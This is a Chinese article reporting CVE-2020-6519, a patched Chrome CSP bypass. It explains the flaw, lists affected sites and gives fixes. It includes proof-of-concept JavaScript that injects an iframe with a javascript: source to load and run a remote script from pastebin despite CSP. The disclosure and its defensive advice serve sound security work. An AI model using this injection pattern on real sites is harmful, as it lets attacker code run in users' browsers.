溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Chrome瀏覽器的CSP策略是怎樣繞過漏洞

發(fā)布時間:2021-12-16 18:01:43 來源:億速云 閱讀:319 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章給大家分享的是有關(guān)Chrome瀏覽器的CSP策略是怎樣繞過漏洞,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

下面講述了原作者發(fā)現(xiàn)谷歌瀏覽器Chrome的CSP(內(nèi)容安全策略)完全繞過漏洞(CVE-2020-6519),影響2019年3月之后發(fā)布的所有版本Chrome瀏覽器,從而導(dǎo)致很多大公司網(wǎng)站的CSP策略在該漏洞面前會完全失效。該漏洞最終收獲谷歌獎勵$3000。

CSP策略完全繞過的悲劇

非常震驚的是,我發(fā)現(xiàn)該漏洞存在基于Chromium內(nèi)核的Chrome、Opera和Edge系列瀏覽器,且影響Windows、Mac和Android平臺,攻擊者可以利用該漏洞,繞過自2019年3月起至2020年7月的所有Chrome內(nèi)置CSP策略。

該漏洞的嚴(yán)重性在于,由于Chrome瀏覽器有超過20億的用戶,占據(jù)超過65%的瀏覽器市場,因此該漏洞潛在的受影響用戶會達(dá)數(shù)十億。

另外,很多大公司網(wǎng)站都存在該漏洞。如Facebook,WellsFargo, Gmail , Zoom, Tiktok, Instagram, WhatsApp, Investopedia, ESPN, Roblox, Indeed, Blogger, Quora等。

用簡單方法完全突破Chrome的CSP策略限制

大家感興趣的話,可以點此參考研究谷歌公開的POC驗證文件,但漏洞原因總結(jié)來說就是:

通常情況下,在設(shè)置了CSP策略的Chrome瀏覽器中,如果要執(zhí)行以下JS腳本,由于CSP策略不允許腳本中的源或操作執(zhí)行,所以會在瀏覽端實現(xiàn)阻攔。(pastebin鏈接中是一段腳本):

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

但是,如果用javascript: src的iframe方式來運行上述JS腳本,則可以完全突破Chrome瀏覽器的CSP策略限制,成功實現(xiàn)腳本運行:

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

就這樣簡單粗暴!致使任意操作系統(tǒng)中的數(shù)十億客戶端瀏覽器就受到了影響,攻擊者可以通過此種方式在其客戶端中執(zhí)行CSP提權(quán),進(jìn)而實現(xiàn)惡意代碼執(zhí)行。

這里要說明的是,有一些配置了CSP策略的網(wǎng)站并不受該漏洞影響,如Twitter, Github, LinkedIn, Google Play Store, Yahoo's Login Page, PayPal 和 Yandex,這些網(wǎng)站在客戶端配置中應(yīng)用了服務(wù)端形式的nonce 或 hash校驗方式,因此其相對安全,不受影響。

漏洞影響

CSP,內(nèi)容安全策略,即網(wǎng)站一種訪問策略和規(guī)則,它告訴客戶端哪些外部資源是可以在網(wǎng)站中加載執(zhí)行 ,客戶端以此為遵循,對網(wǎng)站發(fā)起訪問。

在CSP策略規(guī)則下,網(wǎng)站可以針對客戶端瀏覽器的JS代碼等請求,執(zhí)行允許/阻攔操作,避免客戶端用戶遭受XSS等攻擊影響,以此形成安全屏障。

這里要明確的是,由于攻擊者利用該漏洞,還需構(gòu)建請求訪問網(wǎng)站的惡意腳本,所以Chrome瀏覽器里的這個CSP策略繞過漏洞,并不能直接就影響到網(wǎng)站,這也是該漏洞被評級為中危的原因。

該漏洞的基本情況是,Chrome瀏覽器的這種CSP策略繞過缺陷,導(dǎo)致很多網(wǎng)站自身的CSP策略規(guī)則失效。這里分兩種情況,第一,有些網(wǎng)站配置了嚴(yán)格的CSP策略,像上述的Twitter,該漏洞不能讓其策略失效;第二,有些網(wǎng)站配置了一般的CSP策略,該漏洞可以讓其CSP策略完全失效。

除以上提到的網(wǎng)站外,基于此漏洞情況,可以保守估計,包括電子商務(wù)、銀行、電信、政府和公用事業(yè)在內(nèi)的數(shù)以千計的行業(yè)網(wǎng)站都會受影響,攻擊者可以利用該漏洞,向這些網(wǎng)站的客戶端用戶注入惡意代碼。

可能有人會說,這種漏洞利用的前提是,攻擊者必須在網(wǎng)站上獲得代碼執(zhí)行權(quán)限啊,這樣的CSP繞過漏洞沒啥意思嘛。但我不這樣認(rèn)為。

因為大多數(shù)網(wǎng)站都依賴CSP策略來提供客戶端的安全防護(hù),所以,這種漏洞的出現(xiàn),對網(wǎng)站自身的安全運行機(jī)制來說,就是一個嚴(yán)重的風(fēng)險隱患。

半年前,我發(fā)現(xiàn)了WhatsApp Web/Desktop應(yīng)用中的一個存儲型XSS漏洞,其中就大量描述了CSP繞過漏洞可以導(dǎo)致的危害,其CSP繞過漏洞的危險之處在于,很多網(wǎng)站的不當(dāng)CSP策略配置,可讓攻擊者注入惡意腳本,實現(xiàn)與任意網(wǎng)站相關(guān)域名的通信。

也正因為如此,要在網(wǎng)站中發(fā)現(xiàn)一個管理者不可控的代碼執(zhí)行漏洞非常之難,但是,這種漏洞如果一旦存在,就可能會對網(wǎng)站本身生成致命威脅。

漏洞測試

我自己編寫了一個測試腳本,然后利用Chrome的開發(fā)者工具,就能簡單測試出哪些網(wǎng)站受該漏洞影響。測試中調(diào)用的外部JS腳本鏈接為https://pastebin.com/raw/XpHsfXJQ,它會觸發(fā)漏洞實現(xiàn)。

以下是Facebook網(wǎng)站存受該漏洞的影響情況:

Chrome瀏覽器的CSP策略是怎樣繞過漏洞以下是Github網(wǎng)站存受該漏洞的影響情況:

Chrome瀏覽器的CSP策略是怎樣繞過漏洞不受該漏洞的影響情況:

Chrome瀏覽器的CSP策略是怎樣繞過漏洞

修復(fù)建議

對網(wǎng)站運營方來說,首先要確保網(wǎng)站有嚴(yán)格的CSP策略規(guī)則,其次就是可以考慮向其中加入一些服務(wù)端的nonce或hash校驗措施,或是JS腳本和惡意代碼注入檢測機(jī)制,各種安全策略的共同配置,才能保證網(wǎng)站安全。對用戶端來說,就更新Chrome吧,更新到84版本或更高版本。

漏洞補(bǔ)丁

谷歌的Chromium項目團(tuán)隊已及時修復(fù)了該漏洞,并在Chrome 84后進(jìn)行了補(bǔ)丁更新,漏洞最終被評級為中危(CVSS 6.5),作者收獲了$3,000的獎勵。

以上就是Chrome瀏覽器的CSP策略是怎樣繞過漏洞,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI